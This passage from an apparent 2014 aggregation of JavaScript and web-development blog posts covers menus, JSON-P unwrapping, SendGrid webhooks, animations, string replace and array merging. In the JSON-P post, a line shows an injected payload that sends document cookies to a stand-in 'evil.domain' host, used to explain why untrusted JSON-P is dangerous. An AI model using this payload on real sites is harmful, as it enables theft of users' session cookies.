In addition, it’s a lot easier to maintain. For example, if you wanted to switch to another CSS compiler, it’s simply a matter of enabling it in your config file.

Quick Start

Getting started with Angus is easy. Just install it with npm install -g angus.

Next, create a sample app by doing angus create hello-world. This will create a folder hello-world.

Inside this folder, run angus dev and open your browser to visit http://localhost:9000/.

That’s it! For further information, please refer to the detailed readme on GitHub.

Conclusion

I hope that this article has given you new insights in how declarative build configurations can help you focus your efforts on your app and not your build process. Angus has gotten a lot of good feedback so far, and I invite you to try it out and make an opinion for yourself. If you have any questions I will be happy to answer them in the comments section below.

Author: "Nick Janssen" Tags: "Guest Blogger, JavaScript"
Comments Send by mail Print  Save  Delicious 
Date: Wednesday, 24 Sep 2014 16:25

Read the full article at: iOS Mobile Safari Hover Menu Fix

Treehouse

One component I’m quite proud of creating is the Mozilla Developer Network’s dropdown menu component.  It’s elegant, flexible, accessible via keyboard, and relatively compact (though it does require jQuery).  One problem I did notice, however, was that tapping once opened the menu (good) but you’d have to double tap (tap twice) on a submenu link to trigger a move to the link URL.  Not a catastrophic issue but certainly annoying. After a bit of tinkering I came up with a solution which satisfied the annoyance!

The JavaScript

I found out the core issue:  the main menu item was coded to open the submenu upon mouseenter.  While I was grateful that iOS mobile Safari was using mouseenter as simply an open trigger, it was causing users the double tap pain to visit a link in the submenu.  So I took advantage of the touchstart event:

$menuItem.on('touchstart mouseenter focus', function(e) {
    if(e.type == 'touchstart') {
        // Don't trigger mouseenter even if they hold
        e.stopImmediatePropagation();
        // If $item is a link (<a>), don't go to said link on mobile, show menu instead
        e.preventDefault();
    }

    // Show the submenu here
});

Why not touchend?  Unfortunately if the user held their finger down for more than a quick tap, the mouseenter event would trigger.  A bit odd but since I have touchstart as the first event in the listener, I can use stopImmediatePropagation to prevent the mouseenter from ever firing.  What’s also nice is I don’t have to do any device detection to juggle touchstart and mouseenter, so this is an awesome solution…

…but not a perfect solution.  If you tap and hold the main menu item link, the mobile browser context menu doesn’t appear because we’ve used preventDefault.  I’m still exploring and experimenting so I’ll continue to update this post as I search for the holy grail!

Author: "David Walsh" Tags: "JavaScript, jQuery, Mobile"
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 23 Sep 2014 17:11

Read the full article at: Node.contains: Check if a Node is a Child of Another Node

Treehouse

There are loads of basic, native JavaScript methods that many developers don’t know about.  Many people don’t know about the Element.classList API, for example, so className management becomes another case for needing a JavaScript toolkit for even the most basic tasks.  Another case is checking for node parenting — developers believe it requires a toolkit or a loop checking parentNode up the chain;  no so!  Nodes provide a contains method to check if one node if a parent of another:

function(parentNode, childNode) {
	if('contains' in parentNode) {
		return parentNode.contains(childNode);
	}
	else {
		return parentNode.compareDocumentPosition(childNode) % 16;
	}
}

You’ll note we check for the contains method before using it, as you would probably expect, and use the rarely-known compareDocumentPosition in the case that contains isn’t supported (Firefox < 9).  This method would be helpful when creating a drag & drop widget and determining moves between lists.  Anyways, before you jump to the conclusion that you need a toolkit for something that seems basic, do some quick research and hopefully you find an easier way!

Author: "David Walsh" Tags: "JavaScript, Quick Tips"
Comments Send by mail Print  Save  Delicious 
Date: Monday, 22 Sep 2014 14:55

Read the full article at: Unwrapping JSON-P

Treehouse

This is a quickie simple post on JavaScript techniques. We’re going to look at how to unwrap the “P” function-call padding from a JSON-P string to get the JSON from it.

Note: Obviously, the recent push toward ubiquity of CORS is making JSON-P less important these days. But there’s still a ton of JSON-P serving APIs out there, and it remains an important part of making cross-domain Ajax requests.

The scenario: you receive (via whatever means: Ajax, whatever) a string of JSON-P (like foo({"id":42})) data, say from some API call, and you want to extract the JSON data to use in your application.

Classic JSON-P Handling

The most common approach is to just directly load the JSON-P data into an external <script> element (assuming it’s possible to get that data directly via a URL):

var s = document.createElement( "script" );
s.src = "http://some.api.url/?callback=foo&data=whatever";
document.head.appendChild( s );

Assuming foo({"id":42}) comes back from such a URL call, and there’s a global foo(..) function to be called, it will of course receive the {"id":42} JSON data packet.

There are hundreds of different JS libs/frameworks out there which automate such JSON-P handling. I wrote jXHR years ago as a simple PoC that we could even construct an XHR-like interface for making such JSON-P calls, which looked like:

var x = new jXHR();

x.onreadystatechange = function(data) {
    if (x.readyState == 4) {
        console.log( data.id ); // 42
    }
};

x.open( "GET", "http://some.api.url/?callback=?&data=whatever" );

x.send();

JSON-P roblems

There are some issues with the classic approach to JSON-P handling.

The first most glaring issue is that you must have a global foo(..) function declared. Some people (and some JSON-P APIs) allow something like bar.foo(..) as the callback, but that’s not always allowed, and even then bar is a global variable (namespace). As JS and the web move toward ES6 features like modules, and heavily de-emphasize global variables/functions, the idea of having to dangle a global variable/function out to catch incoming JSON-P data calls becomes very unattractive.

FWIW, jXHR automatically generates unique function names (like jXHR.cb123(..)) for the purpose of passing along to the JSON-P API calls, so that your code didn’t need to handle that detail. Since there’s already a jXHR namespace, it’s a tiny bit more acceptable that jXHR buries its functions on that namespace.

But, it would be nice if there was a cleaner way (sans library) to handle JSON-P without such global variables/functions. More on that in a moment.

Another issue is if you’re going to be making lots of JSON-P API calls, you’re going to be constantly creating and DOM-appending new <script> elements, which is quickly going to clutter up the DOM.

Of course, most JSON-P utilities (including jXHR) “clean up” after themselves by removing the <script> element from the DOM as soon as it has run. But that’s not exactly a pure answer to the issue, because that’s going to be creating and throwing away lots of DOM elements, and DOM operations are always slowest and have plenty of memory overhead.

Lastly, there have long been concerns over the safety/trustability of JSON-P. Since JSON-P is basically just random JS, any malicious JS code could be injected.

For example, if a JSON-P API call returned:

foo({"id":42});(new Image()).src="http://evil.domain/?hijacking="+document.cookies;

As you can see, that extra JS payload isn’t something we generally should want to allow.

The json-p.org effort was intended to define a safer JSON-P subset, as well as tools that allowed you to verify (to the extent possible) that your JSON-P packet is “safe” to execute.

But you can’t run any such verifications on this returned value if you are having it load directly into a <script> element.

So, let’s look at some alternatives.

Script Injection

First, if you have the JSON-P content loaded as a string value (like through an Ajax call, such as from a same-domain server-side Ajax proxy, etc), you can process the value before evaluating it:

var jsonp = "..";

// first, do some parsing, regex filtering, or other sorts of
// whitelist checks against the `jsonp` value to see if it's
// "safe"

// now, run it:
var s = document.createElement( "script" );
s.text = jsonp;
document.head.appendChild( s );

Here, we’re using “script injection” to run the JSON-P code (after having a chance to check it in whatever way we want) by setting it as the text of an injected <script> element (as opposed to setting the API URL to the src as above).

Of course, this still has the downsides of needing global variables/functions to handle the JSON-P function call, and it still churns through extra <script> elements with the overhead that brings.

Another problem is that <script>-based evaluation has no graceful error handling, because you have no opportunity to use try..catch around it, for instance (unless of course you modify the JSON-P value itself!).

Another downside to relying on <script> elements is that this works only in browsers. If you have code that needs to run outside a browser, like in node.js (like if your node code is consuming some other JSON-P API), you won’t be able to use <script> to handle it.

So what’s our other option(s)?

Direct Evaluation

You may wonder: why we can’t just do eval(jsonp) to evaluate the JSON-P code? Of course, we can, but there are plenty of downsides.

The main cited concerns against eval(..) are usually execution of untrusted code, but those concerns are moot here since we’re already addressing that JSON-P could be malicious and we’re already considering the opportunity to inspect/filter the value in some way, if possible.

The real reason you don’t want to use eval(..) is a JS one. For various reasons, the mere presence of eval(..) in your code disables various lexical scope optimizations that would normally speed up your code. So, in other words, eval(..) makes your code slower. You should never, ever use eval(..). Period.

But there’s another option without such downsides. We can use the Function(..) constructor. Not only does it allow direct evaluation without <script> (so it’ll work in node.js), but it also simulataneously solves that whole global variable/function annoyance!

Here’s how to do it:

var jsonp = "..";

// parse/filter `jsonp`'s value if necessary

// wrap the JSON-P in a dynamically-defined function
var f = new Function( "foo", jsonp );

// `f` is now basically:
// function f(foo) {
//    foo({"id":42});
// }

// now, provide a non-global `foo()` to extract the JSON
f( function(json){
    console.log( json.id ); // 42
} )

So, new Function( "foo", "foo({\"id\":42})" ) constructs function(foo){ foo({"id":42}) }, which we call f.

Do you see what’s happening there? The JSON-P calls foo(..), but foo(..) doesn’t even need to exist globally anymore. We inject a local (non-global) function of the parameter name foo by calling f( function(json){ .. } ), and when the JSON-P runs, it’s none the wiser!

So:

  1. We have manual evaluation of the JSON-P, which gives us the chance to check the value first before handling.
  2. We no longer need global variables/functions to handle the JSON-P function call.
  3. Function(..) construction doesn’t have the same performance slow-downs of eval(..) (because it can’t create scope side-effects!).
  4. This approach works in either browser or node.js because it doesn’t rely on <script>.
  5. We have better error-handling capability, because we can wrap try..catch around the f(..) call, whereas you can’t do the same with <script>-based evaluation.

That’s a pretty big set of wins over <script>!

Summary

Is Function(..) evaluation perfect? Of course not. But it’s a lot better and more capable than the classic, common JSON-P approaches out there.

So, if you’re still using JSON-P API calls, and chances are a lot of you are, you might want to rethink how you’re consuming them. In many cases, the old <script> approach falls well short of the true potential.

Author: "Kyle Simpson" Tags: "Guest Blogger, JavaScript, jQuery"
Comments Send by mail Print  Save  Delicious 
Date: Thursday, 18 Sep 2014 12:45

Read the full article at: How to Make Email a Powerful Part of Your Web Application

Treehouse

The SendGrid Parse Webhook is a powerful tool with many use cases. Once setup, all incoming email for a domain or sub-domain is directed to your application. What you can do is endless, but it can be a bit tricky to grok if it is your first time.

Giving your customers a way to access your application from their email account is a major way to boost their activity and engagement on your website.

One of my favorite popular productivity tools, iDoneThis, gives me a simple way to record and share the tasks that I have completed each day with my teammates.  Each day, iDoneThis sends me an email asking me what I completed today. From my email account, I can easily reply with my completed tasks without having to log into the website. Interestingly, a majority of my teammates complete most of their website updates through email replying.

You can also create the same powerful functionality with commenting, receiving content via email, and enabling replies to create, continue, and resolve support tickets. With the Inbound Parse Webhook, from SendGrid’s SMTP Service, you can make your applications interactive by inviting replies and responding to users via their email.

The SendGrid Parse Webhook lets you parse email contents and attachments from any incoming emails and post the data via JSON to your application. The capability allows you to accomplish the following, from email replies to your website application:

  • Post blog entries
  • Use email replies to update your mailing list or database
  • Upload photos and videos
  • Start and resolve support ticket requests

Getting Started

The instructions below are for getting the Inbound Parse Webhook up and running locally.

1. Start by cloning this Github repository and cd into its directory.

$ git clone https://github.com/scottmotte/sendgrid-parse-api-example.git
$ cd sendgrid-parse-api-example

2. Set up your credentials.

$ mv .env.example .env 

3. Change the contents of .env to your SendGrid username and password.

SENDGRID_USERNAME = your_sendgrid_username
SENDGRID_PASSWORD = your_sendgrid_password

4. Run the app.

$ npm install
$ node app.js 

If npm install doesn’t work for you, you can try installing through MacPorts:

$ sudo port npm install

If you are receiving errors that indicate a missing module, this means that you should install it.  For example, installing dotenv resolves the installation issue of app.js not being able to instantiate the dotenv variable.

$ npm install dotenv

5. Use a local tunnel like ngrok to test locally and quickly – rather than deploying code to a live server.

Ngrok allows you to securely expose a local web server to the web and capture traffic for detailed inspection and replay.

Download, unzip, and start the ngrok process. After you start the process, ngrok will give you a unique URL for you to inspect locally on.

The instructions below are for getting ngrok to work locally on a Mac. Click here to install a local setup for other operating systems.

$ wget https://dl.ngrok.com/darwin_amd64/ngrok.zip
$ unzip ngrok.zip –d /usr/local/bin
$ ngrok 3000

6. Set up SendGrid and MX Records. It can take up to 48 hours.

Here is how you can get up and running as soon as possible. Once your MX records have fully propagated, you can send emails on production in up to 48 hours.

First, you can set up your SendGrid Parsing Incoming Emails setting (you must have a provisioned SendGrid account to access this link). Click on the “Developers” tab for the “Parsing Incoming Emails” link. In the Hostname field, specify your hostname (i.e. yourdomain.com) that you would like. In the Url field, input the unique URL that ngrok provided you.

Please configure an MX record on the hostname you set above to point to mx.sendgrid.net. It should look something like the following.

Within 2 days, your MX records will completely propagate.

7.  Send an email from your personal email account.

If you send an email to inbound@the-hostname-you-setup.com, in a few minutes, the app you have running will parse and deliver the contents to you in JSON format.

8. Test and play with the API.

Congratulations, you have set up a simple way to parse your emails efficiently!

Now, you are ready to explore and make calls to the API.

Inspecting the payload contents:

If you just need a quick way to inspect the payload contents of the Parse Webhook, you can use RequestBin, a free tool, after setting up your MX records.

Posting from the command line:

If you’d like to get your hands dirty from the command line, you can try SendGrid’s free webhook debugger tool, which is a fast way to start seeing how events appear.

At the heart of the tool is a URL that you can set as your Parse Webhook endpoint. Each time you load the URL, you will get a unique ID within the URL.

Below are two examples to get started with your webhook. The GET example will begin listening for new data.

From your command-line terminal, paste in the following GET example:

$ curl –X GET \ http://hookdebug.sendgrid.com/v1/events/e6a20fffc9c1968dd64684f0b11b9c29 

To paste in whether your Parse Webhook is receiving data, type in the curl command from the POST example into a second terminal screen:

$ curl –X POST \
  -d "foo=bar" \
  -d "alice=bob" \
  http://hookdebug.sendgrid.com/v1/events/e6a20fffc9c1968dd64684f0b11b9c29

The response on your terminal window should now have new content:

{
	"event_id": "e6a20fffc9c1968dd64684f0b11b9c29"
}

Next, send an email to the domain or sub-domain that you are using for inbound parsing. Within a few minutes, you should see the parsed email as JSON in your terminal window.

9. Customize your parser.

As you can see, the details of email data separation and routing an incoming message to the SendGrid script are done behind the scenes for you. Starting with a blank slate, you can use the Parse Webhook creatively, however you wish.

Now you’re ready to place some real email data through that webhook! The instructions below are for getting the Inbound Parse Webhook up and running locally on a Mac. Click here to install a local setup for other operating systems.

To customize how you’d like to parse your emails, you can start to customize the code in routes/inbound.js

For example, you can rewrite the inbound.js file to complete an action if the email contents contain a word, or even store attachments in a way that would suit your application and database.

For use cases, case studies and examples, please click here to download the Parse Webhook Guide or check out the Parse Webhook API library. When looking at the Parse Webhook examples, you will notice that the two most common ways it is used are: interacting with your users and collecting data within your applications via email.  With the webhook, you can develop features that make frequent tasks more productive for your users without having them leave their email inbox.  Collecting insights and making your emails interactive have never been easier.

Author: "Geoffrey Craig" Tags: "Apache / Server, Guest Blogger"
Comments Send by mail Print  Save  Delicious 
Date: Wednesday, 17 Sep 2014 13:09

Read the full article at: Responsive and Infinitely Scalable JS Animations

Treehouse

Back in late 2012 it was not easy to find open source projects using requestAnimationFrame() – this is the hook that allows Javascript code to synchronize with a web browser’s native paint loop. Animations using this method can run at 60 fps and deliver fantastic game-like content interactions if one is careful to follow the rules.*

Around this time, I had joined Art.com labs and it just so happened that I had a compelling use case for an “iOS-style” interaction model around visual content-stream navigation – one which was responsive across multiple screen sizes and input paradigms (touch, pointer, trackpad). Out of this need came TremulaJS, a Javascript UI component designed to navigate large result sets of visual content with a high degree of UX fluidity.

This article takes a high-level look at how TremulaJS is organized with a focus on creating responsive, long-running animated interactions using Javascript.

*For those interested in an in-depth look at the fundamentals of a requestAnimationFrame() implementation, Julian Shapiro, creator of velocity.js, has succinctly body-slammed this this topic for your reading pleasure here. I view it as required reading for anyone embarking on a JS animation adventure.

TremulaJS: a component overview

TremulaJS is composed of five main components – The Scroll Axis, Momentum Loop, Content Grid, Content Box and Grid Projection.

fig1. The Scroll Axis, Scroll Offset and Content Grid as they relate to the TremulaJS view container. This figure shows a grid of discrete content elements which are able to slide (on an axis) across the viewable area. Content outside this area is not rendered.

Scroll Axis

TremulaJS enables all kinds of micro-interactions, however, at the end of the day there is only one dimension of navigation and that is the Scroll Offset value. This value is encapsulated by the Scroll Axis object which among other things, manages horizontal and vertical orientation.

Momentum Loop

The momentum loop regulates the momentum value throughout the system. It is the sum of various sub-component outputs including: an internal momentum clock, various conditional dampening functions linked to Scroll Axis states and a user interaction event handler. On each animation frame it returns an instantaneous output value of momentum used to calculate the the scroll offset position.

Content Grid

The Content Grid is an abstraction model of content boxes arranged on a configurable XY grid. All content added to this grid is proportionally scaled along the Cross Axis to maintain normalized row (or column) dimensions.

On every frame, as momentum moves the Content Grid to a new position along the scroll axis, the Content Grid updates it’s child Content Boxes with new relative positions. This is the abstraction that gives us opportunities to extend the painting process and make cool stuff happen…

Content Box

A Content Box is created for each unit of content appended to the Content Grid. A Content Box has width, height, an optional HTML template, and an optional main image which (if provided) is preloaded and transitioned on-screen by a CSS class. This should not be an unfamiliar paradigm to a web developer.

The interesting bit starts here: Each content block also maintains various primitive waveform values corresponding to it’s own on-screen scroll progress. These waveforms can be mapped to animate any aspect of an Content Box DOM element in time and space. Let’s zoom in on that with a diagram…

fig2. Linear progression of a content block across the screen with a “ramp” waveform shown underneath.

In the figure above, we can follow a Content Block as it’s moved across a screen and imagine that the output of our ramp waveform is mapped to a function which updates a CSS translateX() property.

This however is not the default behavior – it’s a little more complex than that. Here is a simplified example of the default function called on a Content Box during a render cycle…

function updateContentBoxElementProperites(x,y) {
	var ramp = this.waveforms.headRamp,
		xo=x,
		yo=y,
		zo=0;
		
	this.e.style.transform = 'translate3d(' + xo + 'px,' + yo +'px, ' + zo + 'px)';
	//this.e.style.opacity = ramp;
	this.pPos = [x,y];//cache the current position in the Content Box model
}

This function is called when it’s time to reposition our Content Box and we can see here that it is passed new coordinates. x & y are absolute values corresponding to the geometry of our TremulaJS view, these values are provided to the function by the Content Grid, which has knowledge of all Content Blocks and is able to efficiently crunch all the positions of all Content Boxes on the grid. The above function is then called on every Content Box on every animation frame.

Notice the commented opacity assignment. If we were to uncomment this we would see our content block fade-in as it moved from left to right (or fade-out as it moved from right to left.) This works because our ramp value is a derivative value (between 0 and 1) tied to a Content Box’s scroll progress across our TremulaJS view. Conveniently, this.e.style.opacity is expecting a number between 0 and 1.

News Flash: turns out Bézier paths are super responsive

A look at the Grid Projection

There is a fifth component belonging to TremulaJS which enables us to take elements of a content grid and project that along a Bėzier path. Unsurprisingly, this is called a grid projection.

So to recap: As shown in the previous example, we are looking at a Content Box function that is executed on on every frame. This function is passed instantaneous x&y values corresponding to the Content Box’s own orientation in the TremulaJS view at a particular point in time. This function is also passed several primitive waveform values corresponding to it’s own on-screen scroll progress. It is at this point where we are able to remap an arbitrary Bezier path to virtually any CSS property. Let’s take another look at the example above, except we will change the vertical position of our Content Box by replacing the absolute x&y position with one generated from our Bézier function.

fig3. Linear progression of a content block across a view with a bézier waveform shown underneath. The Bézier output is now mapped to the x&y position of our content box within the TremulaJS view.

var bezierArcPath = [
	{x:0,y:0},
	{x:0,y:1},
	{x:1,y:1},
	{x:1,y:0}
];

function updateContentBoxElementProperites(x,y,env) {

	var path = bezierArcPath;

	var 
		areaX = env.viewDims[0],
		areaY = env.viewDims[1],
		ramp = this.waveforms.tailRamp,
		xo=x,
		yo=y,
		zo=0;

	var xyFactor = [
		areaX,
		areaY
	];

	var scaledPath = env.factorPathBy(path,xyFactor);
	
	var p = jsBezier.pointOnCurve(cubicBezier, ramp);
	var g = jsBezier.gradientAtPoint(cubicBezier, ramp);
	
	xo = p.x - (this.dims[0]*.5);
	yo = areaY - p.y - (this.dims[1]*.5);
	zo = 0;

	this.e.style.transform = 'translate3d(' + xo + 'px,' + yo +'px, ' + zo + 'px)';

	this.pPos = [x,y];
}

Please note: variable names in these examples have been changed/cleaned-up to enhance high-level understanding – actual code is not this pretty. Fork and improve!

In this example we have added a few methods to help implement our Bėzier transforms. First, let’s look at env.factorPathBy(path,xyFactor). The responsive power of this utility function is great – it allows us to define any bounding box area (in this case, the current dimensions of the TremulaJS view), and scale our path in two dimensions such that the path will fit the box. What is returned is prescaled, ready-to-use path coordinates.

Next in our chain is jsBezier.pointOnCurve(cubicBezier, ramp). Which takes our scaled path and our current ramp output as parameters. Our transformed x&y values are returned. Many thanks here go to Simon Porritt for porting classical Bėzier math to JS and posting the jsBezier library to gitHub!

The rest should look familiar enough. We then make some small adjustments to x&y so that our content is positioned from its center origin.

But wait, theres more! (Just not in this article…)

Beyond this example, there are so many animations that can be created from these basic building blocks. For example, jsBezier.gradientAtPoint(cubicBezier, ramp) gives us instantaneous tangent values as content moves along our path, enabling coordinated content rotation among other possibilities. There is also the z axis and a primitive triangle waveform which enables depth effects (making content appear closer as it moves into the center of our view.

Curves can just as easily be used to produce easing effects or to keep our content on a single responsively positioned axis.

Another TremulaJS feature is Content Box momentum. When enabled, the content grid does not immediately update a Content Box’s DOM as the Scroll Offset changes. Instead, the Content Box manages its own momentum value relative to its relationship of the motive force location (e.g. your finger or mouse pointer over the grid) – this can produce interesting content level momentum effects.

For those who are interested, there is a great path editing tool here…

https://www.desmos.com/calculator/d1ofwre0fr

Author: "Garris Shipon" Tags: "Canvas & SVG, CSS, Features, Guest Blogg..."
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 16 Sep 2014 13:02

Read the full article at: CSS Custom Cursors

Treehouse

Remember the Web 1.0 days where you had to customize your site in every way possible?  You abused the scrollbars in Internet Explorer, of course, but the most popular external service I can remember was CometCursor.  CometCursor let you create and use loads of custom cursors for your site.  Now we probably laugh at that in hindsight but there may be times when you’d like to customize a cursor, and CSS lets you do it quite easily!

The CSS

The cursor CSS property accepts a series of cursors, and using a url() value allows you to set a custom CSS cursor:

body {
	cursor: url('some-cursor.ico'), default;
}

It’s always best to have a backup native cursor like default, much as you set broader font-family‘s when styling text.  Also note that Firefox scales the cursor down to a smaller size whereas Chrome currently allows a larger original size.

Now don’t go doing this willy nilly, use a custom cursor in places where you think important, like a magnifying glass + or – over zoomable images and such.

Author: "David Walsh" Tags: "CSS, Demos"
Comments Send by mail Print  Save  Delicious 
Date: Monday, 15 Sep 2014 01:56

Read the full article at: Using String Replace in JavaScript

Treehouse

This is a quickie simple post on JavaScript techniques. We’re going to cover how to use the regular expression driven replace(..) with JavaScript string values.

All string values have a replace(..) method available to them. This method allows you to pass a regular expression (or a string that will be interpreted as the pattern for a dynamically-created regular expression!) to represent what should be found in the main string value for replacing.

Single vs Global

Consider:

var a = "The quick brown fox jumped over the lazy dog.";

var pattern = /the/i;

a.replace( pattern, "THE" );
// THE quick brown fox jumped over the lazy dog.

You can see only the first “The” was replaced. Many developers just leave that fact as is, and never ask, “Why?”.

Well, it’s because you didn’t use a global regular expression (that is, with the g flag), so clearly JS only applies the expression in a single context. See:

var a = "The quick brown fox jumped over the lazy dog.";

var pattern = /the/ig; // notice "g" here now!

a.replace( pattern, "THE" );
// THE quick brown fox jumped over THE lazy dog.

The replacer string ("THE" in our example) can include certain special commands, such as “$1″ for dropping in the value of the first ( ) group match (there is none in our example!).

function As Replacer

What if you wanted to do a more sophisticated replacement, like for instance capitalizing any of a set of words found, using a pattern like this?

var pattern = /quick|brown|lazy/ig;

Obviously, hard-coding the "THE" replacer string won’t work now!

But it’s a little known fact that the replacer can be a function instead. For example:

var a = "The quick brown fox jumped over the lazy dog.";

var pattern = /quick|brown|lazy/ig;

a.replace( pattern, function replacer(match){
    return match.toUpperCase();
} );
// The QUICK BROWN fox jumped over the LAZY dog.

The function replacer gets several arguments. The first is always the matched string, which is often all you want/need. If the pattern has any ( ) group match(es), those will be passed as the next argument(s). The next argument will be the numeric indexed position of the match in the bigger string.

The final argument is the full original string being replaced against, not the current in-progress string value that’s being processed.

Another place where the function replacer comes in handy is if the string you’re replacing with already has some of the special replacer string command sequences, like “$1″ instance, because the returned value from the function is not interpolated like the regular string replacer is:

var prices = {
    "pr_1": "$1.99",
    "pr_2": "$9.99",
    "pr_3": "$5.00"
};

var template = ".."; // some ecommerce page template

template.replace(
    /(<span id=")(.*?)(">)(<\/span>)/g,
    function(match,$1,$2,$3,$4){
        return $1 + $2 + $3 + prices[$2] + $4;
    }
);

The value "$1.99" couldn’t have been used as a string replacer because “$1″ would have been interpreted as the first match. The only other option is to pre-escape your string replacer values, like “$$1.99″, but no one wants to do that, so the function replacer is better.

Summary

Regular expression string replace is a more powerful mechanism than most developers give JS credit for.

Global /g regular expressions and function replacer values are just some of the useful but not as well known features of regular expression patterns and replace(..).

Author: "Kyle Simpson" Tags: "Guest Blogger, JavaScript"
Comments Send by mail Print  Save  Delicious 
Date: Friday, 12 Sep 2014 02:27

Read the full article at: The Truth About Growing Up

Treehouse

There’s a harsh reality: we’re “grown ups” these days. Every once in a while, however, I see an image that takes me back to my childhood. My childhood was full of sports and video games and I can’t help but smile on those days. I became a “professional” coder at 20 years old but began teaching myself coding at age 14. When I started I couldn’t stop, so while I continued playing sports, I now look fondly back on the time when I didn’t know coding. I was always outside, I was skinning up my knees and elbows and l loved it. I was doing stupid stunts on my bike and getting into the usual young child trouble.

When I saw the following image, I was instantly taken back to my pre-computer days:

That image hit me real, real hard. Calvin & Hobbes is a weak spot of anyone my age (now 31) — that comic still represents a joyful look at the innocence of being young and the care-free, future-free state that comes with being young. A big part of the feeling comes from having a “Little Calvin” in my life — my 1 year old son Jack.

Now that we are professionals, it’s a good time for us to reflect on an image like this and consider if we’re happy with where “Big Calvin” has gone and how we can keep “Little Calvin” playing inside of us. For some of us it’s ensuring we’re on the cutting edge of our job, for others its taking care of business at work and then seeking adventure on the off hours. For me it’s a bit of both.

I’d love to hear your thoughts on this image and how it applies to you and your career. Where is the “Little Calvin” inside of you?

Author: "David Walsh" Tags: "Comics"
Comments Send by mail Print  Save  Delicious 
Date: Thursday, 11 Sep 2014 14:16

Read the full article at: Force Stack Traces with JavaScript

Treehouse

I recently inherited a Node.js project and man is that scary.  The code was well written but whenever you inherit a project you instantly inherit the fear of messing things up.  My goal was to fix a fairly routine bug, and finding the issue was fairly easy, but tracing through the code to figure out what called what and what passed what was a nightmare.

So I did the only thing I could do to figure out WTF was going on:

// The magic
console.log(new Error().stack);

/* SAMPLE:

Error
    at Object.module.exports.request (/home/vagrant/src/kumascript/lib/kumascript/caching.js:366:17)
    at attempt (/home/vagrant/src/kumascript/lib/kumascript/loaders.js:180:24)
    at ks_utils.Class.get (/home/vagrant/src/kumascript/lib/kumascript/loaders.js:194:9)
    at /home/vagrant/src/kumascript/lib/kumascript/macros.js:282:24
    at /home/vagrant/src/kumascript/node_modules/async/lib/async.js:118:13
    at Array.forEach (native)
    at _each (/home/vagrant/src/kumascript/node_modules/async/lib/async.js:39:24)
    at Object.async.each (/home/vagrant/src/kumascript/node_modules/async/lib/async.js:117:9)
    at ks_utils.Class.reloadTemplates (/home/vagrant/src/kumascript/lib/kumascript/macros.js:281:19)
    at ks_utils.Class.process (/home/vagrant/src/kumascript/lib/kumascript/macros.js:217:15)
*/

Of course the actual “error” doesn’t matter — the stack trace is exactly what you need to figure out what’s calling what up the chain. When available you can also use console.trace() (when available) to achieve roughly the same output.  You can thank me later!

Author: "David Walsh" Tags: "JavaScript, Node.js"
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 09 Sep 2014 21:49

Read the full article at: Combining JavaScript Arrays

Treehouse

This is a quickie simple post on JavaScript techniques. We’re going to cover different methods for combining/merging two JS arrays, and the pros/cons of each approach.

Let’s start with the scenario:

var a = [ 1, 2, 3, 4, 5, 6, 7, 8, 9 ];
var b = [ "foo", "bar", "baz", "bam", "bun", "fun" ];

The simple concatenation of a and b would, obviously, be:

[
   1, 2, 3, 4, 5, 6, 7, 8, 9,
   "foo", "bar", "baz", "bam" "bun", "fun"
]

concat(..)

The most common approach is:

var c = a.concat( b );

a; // [1,2,3,4,5,6,7,8,9]
b; // ["foo","bar","baz","bam","bun","fun"]

c; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

As you can see, c is a whole new array that represents the combination of the two a and b arrays, leaving a and b untouched. Simple, right?

What if a is 10,000 items, and b is 10,000 items? c is now 20,000 items, which constitutes basically doubling the memory usage of a and b.

“No problem!”, you say. We just unset a and b so they are garbage collected, right? Problem solved!

a = b = null; // `a` and `b` can go away now

Meh. For only a couple of small arrays, this is fine. But for large arrays, or repeating this process regularly a lot of times, or working in memory-limited environments, it leaves a lot to be desired.

Looped Insertion

OK, let’s just append one array‘s contents onto the other, using Array#push(..):

// `b` onto `a`
for (var i=0; i < b.length; i++) {
    a.push( b[i] );
}

a; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

b = null;

Now, a has the result of both the original a plus the contents of b.

Better for memory, it would seem.

But what if a was small and b was comparitively really big? For both memory and speed reasons, you’d probably want to push the smaller a onto the front of b rather than the longer b onto the end of a. No problem, just replace push(..) with unshift(..) and loop in the opposite direction:

// `a` into `b`:
for (var i=a.length-1; i >= 0; i--) {
    b.unshift( a[i] );
}

b; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

a = null;

Functional Tricks

Unfortunately, for loops are ugly and harder to maintain. Can we do any better?

Here’s our first attempt, using Array#reduce:

// `b` onto `a`:
a = b.reduce( function(coll,item){
    coll.push( item );
    return coll;
}, a );

a; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

// or `a` into `b`:
b = a.reduceRight( function(coll,item){
    coll.unshift( item );
    return coll;
}, b );

b; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

Array#reduce(..) and Array#reduceRight(..) are nice, but they are a tad clunky. ES6 => arrow-functions will slim them down slightly, but it’s still requiring a function-per-item call, which is unfortunate.

What about:

// `b` onto `a`:
a.push.apply( a, b );

a; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

// or `a` into `b`:
b.unshift.apply( b, a );

b; // [1,2,3,4,5,6,7,8,9,"foo","bar","baz","bam","bun","fun"]

That’s a lot nicer, right!? Especially since the unshift(..) approach here doesn’t need to worry about the reverse ordering as in the previous attempts. ES6’s spread operator will be even nicer: a.push( ...b ) or b.unshift( ...a ).

But, things aren’t as rosy as they might seem. In both cases, passing either a or b to apply(..)‘s second argument (or via the ... spread operator) means that the array is being spread out as arguments to the function.

The first major problem is that we’re effectively doubling the size (temporarily, of course!) of the thing being appended by essentially copying its contents to the stack for the function call. Moreover, different JS engines have different implementation-dependent limitations to the number of arguments that can be passed.

So, if the array being added on has a million items in it, you’d almost certainly way exceed the size of the size of the stack allowed for that push(..) or unshift(..) call. Ugh. It’ll work just fine for a few thousand elements, but you have to be careful not to exceed a reasonably safe limit.

Note: You can try the same thing with splice(..), but you’ll have the same conclusions as with push(..) / unshift(..).

One option would be to use this approach, but batch up segments at the max safe size:

function combineInto(a,b) {
    var len = a.length;
    for (var i=0; i < len; i=i+5000) {
        b.unshift.apply( b, a.slice( i, i+5000 ) );
    }
}

